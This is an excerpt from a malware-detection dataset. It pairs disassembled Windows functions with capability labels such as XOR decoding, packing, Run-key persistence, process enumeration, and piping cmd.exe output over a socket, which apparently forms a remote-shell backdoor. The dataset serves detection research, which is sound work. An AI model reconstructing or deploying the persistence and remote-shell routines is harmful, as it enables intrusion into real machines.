joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100d129
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x638
mov eax, dword [0x10106f0]
mov ecx, dword [ebp + 0x14]
push ebx
xor ebx, ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
cmp eax, ebx
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x638], ecx
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x630], eax
mov dword [ebp - 0x624], ebx
mov dword [ebp - 0x620], ebx
mov dword [edi], ecx
jne 0x100d179
mov dword [ebp - 0x620], 0x8000ffff
jmp 0x100d306
lea eax, [ebp - 0x624]
push eax
push 1
push ebx
push 0x1001fe8
push reloc.WSOCK32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x100d1a6
mov dword [ebp - 0x620], 0x8000ffff
jmp 0x100d2f1
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [ebp - 0x62c]
push eax
lea eax, [ebp - 0x61c]
push eax
lea eax, [ebp - 0x628]
push eax
push ebx
push 0x1001fc8
push dword [ebp - 0x624]
mov dword [ebp - 0x62c], 0x208
call esi
test eax, eax
je 0x100d1ed
mov dword [ebp - 0x620], 0x8000ffff
jmp 0x100d2f0
cmp dword [ebp - 0x628], 1
jne 0x100d1de
lea eax, [ebp - 0x634]
push eax
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x628]
push eax
push 0
push 0x1001fb0
push dword [ebp - 0x624]
mov dword [ebp - 0x634], 0x208
call esi
test eax, eax
jne 0x100d1de
cmp dword [ebp - 0x628], 1
jne 0x100d1de
push dword [ebp - 0x630]
call sub.msvcrt.dll_wcslen
add eax, dword [ebp - 0x634]
pop ecx
mov ecx, dword [ebp - 0x62c]
lea eax, [eax + ecx + 2]
cmp eax, 0x104
jb 0x100d263
mov dword [ebp - 0x620], 0x8007000e
jmp 0x100d2f0
mov ecx, dword [ebp - 0x20c]
test cx, cx
je 0x100d28e
lea eax, [ebp - 0x20c]
inc eax
lea edx, [ebx + ebx*4]
lea ebx, [ecx + edx*2 - 0x30]
inc eax
xor ecx, ecx
mov cx, word [eax]
test cx, cx
jne 0x100d274
cmp bx, 0x409
je 0x100d2f0
push dword [ebp - 0x630]
lea eax, [ebp - 0x61c]
push eax
lea eax, [ebp - 0x414]
push 0x1001f94
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 1
push 0
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
test eax, eax
jne 0x100d2d1
mov dword [ebp - 0x620], 0x80070006
jmp 0x100d2f0
cmp dword [ebp - 0x638], 0
mov dword [edi], eax
je 0x100d2f0
lea eax, [ebp - 0x414]
push eax
push dword [ebp - 0x638]
call sub.msvcrt.dll_wcscpy
pop ecx
pop ecx
pop esi
cmp dword [ebp - 0x624], 0
je 0x100d306
push dword [ebp - 0x624]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x620]
pop edi
pop ebx
call fcn.0100cdd8
leave
ret 0x10

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x10038031
Capabilities:
Resolve function by parsing pe exports

Disassembly:
repne scasb al, byte es:[edi]
pushfd
push dword [esp + 0x18]
lea esp, [esp + 0x50]
jne 0x1006c87d
not al
bswap eax
movzx eax, al
mov byte [edi - 1], 0

Function at 0x100393ed
Capabilities:
Resolve function by parsing pe exports

Disassembly:
pop ebp
pushal
push dword [esp + 0x20]
ret 0x34
call fcn.10039843
popfd
mul dword [edi + 0x450000f4]
js 0x100393c5
je 0x100393ae
jb 0x100393cf
arpl word [ebp + 0x73], sp
jae 0x10039365
lea esp, [esp + 0x2c]
ja 0x10039889
pushfd
movzx esi, cl
pop esi
sete cl
pop esi
not edi
pop edi
jmp 0x10044cfd
cmp ecx, 0xa8e8ba17
add byte [eax], al
add al, ch
call fcn.104afc27
mov bl, 2
lea esp, [esp + 0x30]
inc al
inc ecx
pushal
pushfd
not al
setb al
mov al, 0x10
jmp 0x1003934e
jmp 0x10037f83
and cl, bl
mov cx, 0xe825
sub cx, si
mov ecx, dword [esi + 4]
pushal
cmc
pushal
mov byte [esp + 8], 0x8b
or ecx, ecx
call fcn.1003fe96
push ebx
pushal
dec ecx
call fcn.104aaff6
lea ecx, [0x222d46ea]
xchg ch, bl
pop ebx
pushfd
pushal
mov ecx, dword [esp + 0x24]
push ebp
mov esp, ebp
jmp 0x10039779
jmp 0x10039acc

Function at 0x1003a3a4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
adc al, al
jmp 0x104adc58
lea esp, [esp + 8]
jae 0x104af955
call fcn.10040213
add byte [eax], al
inc edi
je 0x104adcba
outsd dx, dword [esi]
jne 0x104adcdd
inc esi
imul ebp, dword [ebp + 0x4e], 0x41656d61
popal
insd dword es:[edi], dx
inc ecx
add byte [esi + 0xf], ah
retf
xor al, 0x24
mov byte [esp], bh
cmp al, 0x24
lea esp, [esp + 0x28]
jne 0x100388b6
shr ah, cl
push esp
xor edx, edx
sar al, 1
mov eax, edx
rcl al, cl
cmp cl, ch
call fcn.10039418
and al, 0x48
fnstsw word [eax + 0x3df59cff]
add byte [ebp], bh
add cl, ch
dec ecx
and al, 0xb9
call [ebp - 0x62c36b0b]
jne 0x104adc96
pop edi
int3
dec ebx
ja 0x104adcbf
jae 0x104adc77
pop ebp
lea ebx, [esp + edi*4 - 0x48c8e43]
mov esi, 0x58406a86
test al, 0x99
inc ecx
jno 0x104adc93
xchg edi, eax
cdq
sub eax, 0x5590f63b
test ebp, esp
lodsd eax, dword [esi]
jo 0x104add24
loop 0x104add30
jb 0x104adcc5
nop
adc al, byte [esi + 0x52]
xor dx, word [ecx - 0x7f0e54c5]
in al, 0x86
cmp ch, byte [ecx]
mov edi, 0x394373eb
push cs
mov eax, 0x4f4bac4e
push 0x8333bcc3
xchg ebp, eax
mov byte [0x705b86d6], al
idiv dword [eax + 0x3748c8a1]
jmp 0x104adcd3

Function at 0x10040213
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x10040a54
push dword [esp]
pushal
lea esp, [esp + 0x28]
jne 0x100383c0
jmp 0x10038068
Function at 0x40149e
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 8]
mov dword [eax + 0x30], 0
mov dword [eax + 0x34], 0
mov dword [edx + 0x28], 0
mov dword [edx + 0x2c], 0
mov eax, dword [ebp + 8]
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0
mov eax, dword [ebp + 8]
mov dword [eax + 0x10], 0xefcdab89
mov dword [eax + 0x14], 0
mov eax, dword [ebp + 8]
mov dword [eax + 0x18], 0x98badcfe
mov dword [eax + 0x1c], 0
mov eax, dword [ebp + 8]
mov dword [eax + 0x20], 0x10325476
mov dword [eax + 0x24], 0
mov dword [esp + 0xc], 0x40
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
mov eax, dword [ebp + 8]
add eax, 0x78
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00403d7a
mov eax, dword [ebp + 8]
add eax, 0x78
mov byte [eax], pe_nt_image_headers32
leave
ret
Function at 0x401542
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0xa4
lea edi, [ebp - 0x18]
cld
mov edx, 0
mov eax, 4
mov ecx, eax
mov eax, edx
rep stosd dword es:[edi], eax
mov dword [esp + 4], 0x44e000
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401588
mov dword [ebp - 0x80], 0
jmp 0x40174b
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 8
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_CreateFileA
sub esp, 0x1c
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffff
jne 0x4015db
mov dword [ebp - 0x80], 0
jmp 0x40174b
lea eax, [ebp - 0x28]
add eax, 4
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sub.KERNEL32.dll_GetFileSize
sub esp, 8
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x2c], 0
js 0x401625
cmp dword [ebp - 0x2c], 0
jg 0x401617
cmp dword [ebp - 0x30], 0x40000000
jbe 0x401625
mov dword [ebp - 0x30], 0x40000000
mov dword [ebp - 0x2c], 0
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00401754
lea eax, [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00401948
cmp dword [ebp - 0x34], 0
je 0x401697
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
lea edi, [ebp - 0x68]
cld
mov ecx, 0x21
mov al, 0
rep stosb byte es:[edi], al
lea edi, [ebp - 0x78]
cld
mov ecx, 3
mov al, 0
rep stosb byte es:[edi], al
mov dword [ebp - 0x7c], 0
cmp dword [ebp - 0x7c], 0xf
jg 0x401732
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x78]
mov dword [esp + 4], eax
lea eax, [ebp - 8]
add eax, dword [ebp - 0x7c]
sub eax, 0x10
movzx eax, byte [eax]
mov dword [esp], eax
call sub.msvcrt.dll__itoa
cmp byte [ebp - 0x77], 0
jne 0x401719
mov dword [esp + 4], 0x44e003
lea eax, [ebp - 0x68]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
lea eax, [ebp - 0x78]
mov dword [esp + 4], eax
lea eax, [ebp - 0x68]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
jmp 0x40172b
lea eax, [ebp - 0x78]
mov dword [esp + 4], eax
lea eax, [ebp - 0x68]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
lea eax, [ebp - 0x7c]
inc dword [eax]
jmp 0x4016c3
lea eax, [ebp - 0x68]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
mov dword [ebp - 0x80], 1
mov eax, dword [ebp - 0x80]
mov edi, dword [ebp - 4]
leave
ret
Function at 0x403fde
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov word [ebp - 6], ax
cmp word [ebp - 6], 0
jne 0x404007
mov dword [ebp - 0x10], 0
jmp 0x4040a9
mov eax, dword [ebp + 8]
mov word [eax], 2
mov ebx, dword [ebp + 8]
movzx eax, word [ebp - 6]
mov dword [esp], eax
call sub.WS2_32.DLL_htons
sub esp, 4
mov word [ebx + 2], ax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.WS2_32.DLL_inet_addr
sub esp, 4
mov dword [ebx + 4], eax
mov eax, dword [ebp + 8]
cmp dword [eax + 4], 0xffffffff
je 0x40404b
mov dword [ebp - 0x10], 1
jmp 0x4040a9
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.WS2_32.DLL_gethostbyname
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40407e
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.Resove_name__s_error_
call fcn.00403dce
mov dword [ebp - 0x10], 0
jmp 0x4040a9
mov edx, dword [ebp + 8]
add edx, 4
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [edx], eax
mov eax, dword [ebp + 8]
cmp dword [eax + 4], 0xffffffff
je 0x4040a2
mov dword [ebp - 0x10], 1
jmp 0x4040a9
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x4043e6
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [section..data], 0
mov eax, dword [0x1654bec]
mov dword [esp], eax
call sub.KERNEL32.dll_SuspendThread
sub esp, 4
leave
ret

Function at 0x404408
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [section..data], 1
mov eax, dword [0x1654bec]
mov dword [esp], eax
call sub.KERNEL32.dll_ResumeThread
sub esp, 4
leave
ret
Function at 0x40454e
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
lea edx, [ebp - 0x128]
mov eax, 0x104
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], edx
call sub.msvcrt.dll_memset
mov dword [ebp - 0x12c], str.SoftwareMicrosoftWindowsCurrentVersionRun
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20006
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x12c]
mov dword [esp + 4], eax
mov dword [esp], 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0
jne 0x404659
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x128]
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleFileNameA
sub esp, 0xc
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x134]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x128]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], 0x44e54e
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 0x18
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
cmp dword [ebp - 0x130], 0
je 0x40464d
mov dword [esp], 0x44e552
call sub.msvcrt.dll_printf
mov dword [ebp - 0x138], 1
jmp 0x404663
mov dword [ebp - 0x138], 0
mov eax, dword [ebp - 0x138]
leave
ret
Function at 0x40466c
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create two anonymous pipes
Execute shell command and capture output

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
mov dword [ebp - 0x28], 0xc
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 1
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x28]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_CreatePipe
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4046c6
mov dword [ebp - 0x9c], 0
jmp 0x4047cf
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x28]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_CreatePipe
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x404702
mov dword [ebp - 0x9c], 0
jmp 0x4047cf
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x78]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [ebp - 0x4c], 0x101
mov word [ebp - 0x48], 0
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], eax
mov eax, dword [str.cmd.exe]
mov edx, dword [0x44e572]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
lea eax, [ebp - 0x98]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x78]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x80]
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.KERNEL32.dll_CreateProcessA
sub esp, 0x28
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4047ba
mov dword [ebp - 0x9c], 0
jmp 0x4047cf
mov edx, dword [ebp + 0x18]
mov eax, dword [ebp - 0x98]
mov dword [edx], eax
mov dword [ebp - 0x9c], 1
mov eax, dword [ebp - 0x9c]
leave
ret

Function at 0x4047d8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 4], 0x44e576
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov edx, eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 4]
mov dword [esp + 0xc], eax
mov dword [esp + 8], edx
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
test eax, eax
jne 0x404833
mov dword [ebp - 8], 0
jmp 0x40483a
mov dword [ebp - 8], 1
mov eax, dword [ebp - 8]
leave
ret
Function at 0x404840
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8048
call fcn.00412c18
mov dword [esp], 0x8000
call fcn.00409428
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
mov dword [esp], 0x64
call sub.KERNEL32.dll_Sleep
sub esp, 4
cmp dword [section..data], 0
je 0x404863
mov dword [esp + 0x14], 0
lea eax, [ebp - 0x801c]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x8000
lea eax, [ebp - 0x8018]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_PeekNamedPipe
sub esp, 0x18
test eax, eax
je 0x404863
cmp dword [ebp - 0x10], 0
jne 0x4048c0
jmp 0x404863
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
lea eax, [ebp - 0x8018]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x801c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_ReadFile
sub esp, 0x14
mov dword [ebp - 0x8020], eax
cmp dword [ebp - 0x8020], 0
jne 0x40492c
mov dword [esp], str.read_cmd_pipe_error_n
call sub.msvcrt.dll_printf
jmp 0x404863
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x10]
mov byte [eax], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x44e58e
call sub.msvcrt.dll_printf
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0xc]
dec eax
cmp byte [eax], 0xa
je 0x404967
mov dword [esp + 4], 0x44e383
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0041b01c
mov dword [esp + 8], 4
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_memset
jmp 0x404872
Function at 0x4049a8
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp], 0x8000
call fcn.00409428
mov dword [ebp - 0xc], eax
call fcn.004043e6
mov dword [esp + 8], 4
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 0x10], 0
lea eax, [ebp - 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x7fff
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_ReadFile
sub esp, 0x14
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x404a32
mov dword [esp], str.error_n
call sub.msvcrt.dll_printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call fcn.004099a8
mov dword [ebp - 0x10], 0
jmp 0x404a74
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
dec eax
cmp byte [eax], 0x3e
jne 0x4049c2
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call fcn.004099a8
call fcn.00404408
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x405e22
Capabilities:
Create thread
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8458
call fcn.00412c18
lea edx, [ebp - 0x8018]
mov eax, 0x8000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], edx
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x802c]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x8028]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x8024]
mov dword [esp + 8], eax
lea eax, [ebp - 0x8020]
mov dword [esp + 4], eax
lea eax, [ebp - 0x801c]
mov dword [esp], eax
call fcn.0040466c
test eax, eax
setne al
mov byte [ebp - 0x802d], al
cmp byte [ebp - 0x802d], 0
jne 0x405eb3
mov dword [esp], str.fail_create_cmd__n
call sub.msvcrt.dll_printf
mov dword [ebp - 0x8430], 0xffffffff
jmp 0x40606a
mov eax, dword [ebp - 0x801c]
mov dword [ebp - 0x8428], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x8424], eax
mov dword [esp + 0x14], 0x1654bf0
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x8428]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40450a
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.msvcrt.dll__beginthreadex
mov dword [0x1654bec], eax
mov dword [ebp - 0x842c], 0x493e0
mov dword [esp + 0x10], 4
lea eax, [ebp - 0x842c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1006
mov dword [esp + 4], 0xffff
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x1a0]
mov dword [esp], eax
call sub.WS2_32.DLL_setsockopt
sub esp, 0x14
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
lea eax, [ebp - 0x8018]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 8], 0x8000
lea eax, [ebp - 0x8018]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0041af84
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x405f93
mov eax, dword [ebp + 8]
cmp dword [eax + 0x220], 0
jne 0x405ff9
mov eax, dword [ebp - 0x802c]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x8028]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x8024]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x8020]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x801c]
mov dword [esp], eax
call fcn.00404a7a
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x1a4]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
add eax, 0x1a8
mov dword [esp + 4], eax
mov dword [esp], str._nclose_connection_from__s:_d_n
call sub.msvcrt.dll_printf
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x8430], eax
jmp 0x40606a
lea eax, [ebp - 0x8018]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov byte [eax + ebp - 0x8019], 0
mov eax, dword [ebp - 0x801c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x8028]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x8018]
mov dword [esp], eax
call fcn.00405736
test al, al
je 0x406041
jmp 0x405f43
mov eax, dword [ebp - 0x8028]
mov dword [esp + 4], eax
lea eax, [ebp - 0x8018]
mov dword [esp], eax
call fcn.004047d8
mov dword [esp], 0x44e383
call sub.msvcrt.dll_printf
jmp 0x405f43
mov eax, dword [ebp - 0x8430]
leave
ret
Function at 0x406072
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov dword [ebp - 0x138], 0x128
mov dword [esp + 4], 0
mov dword [esp], 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
sub esp, 8
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0xffffffff
jne 0x4060ba
mov dword [ebp - 0x148], 0
jmp 0x406154
lea eax, [ebp - 0x138]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x13c]
mov dword [esp], eax
call sub.KERNEL32.dll_Process32First
sub esp, 8
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x144], 0
cmp dword [ebp - 0x140], 0
je 0x40614a
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x138]
add eax, 0x24
mov dword [esp], eax
call fcn.00449940
test al, al
je 0x406127
lea eax, [ebp - 0x144]
inc dword [eax]
cmp dword [ebp - 0x144], 1
jle 0x406127
mov dword [ebp - 0x148], 1
jmp 0x406154
lea eax, [ebp - 0x138]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x13c]
mov dword [esp], eax
call sub.KERNEL32.dll_Process32Next
sub esp, 8
mov dword [ebp - 0x140], eax
jmp 0x4060e5
mov dword [ebp - 0x148], 0
mov eax, dword [ebp - 0x148]
leave
ret

Function at 0x410c78
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
lea esi, [esi]
lea edi, [edi]
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.00410bb8
mov dword [esp], eax
mov dword [esp + 8], esi
mov dword [esp + 4], edi
call sub.msvcrt.dll__read
cmp eax, 0xffffffff
mov ebx, eax
jne 0x410cc4
call sub.msvcrt.dll__errno
cmp dword [eax], 4
je 0x410c98
add esp, 0x1c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x412da8
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov ebx, dword [0x165a1c0]
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x412de8
mov dword [ebx + 0x30], eax
xor eax, eax
mov dword [esp + 4], eax
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
call fcn.0041ae60
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x2c], eax
add esp, 0x14
pop ebx
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x2c], eax
add esp, 0x14
pop ebx
pop ebp
ret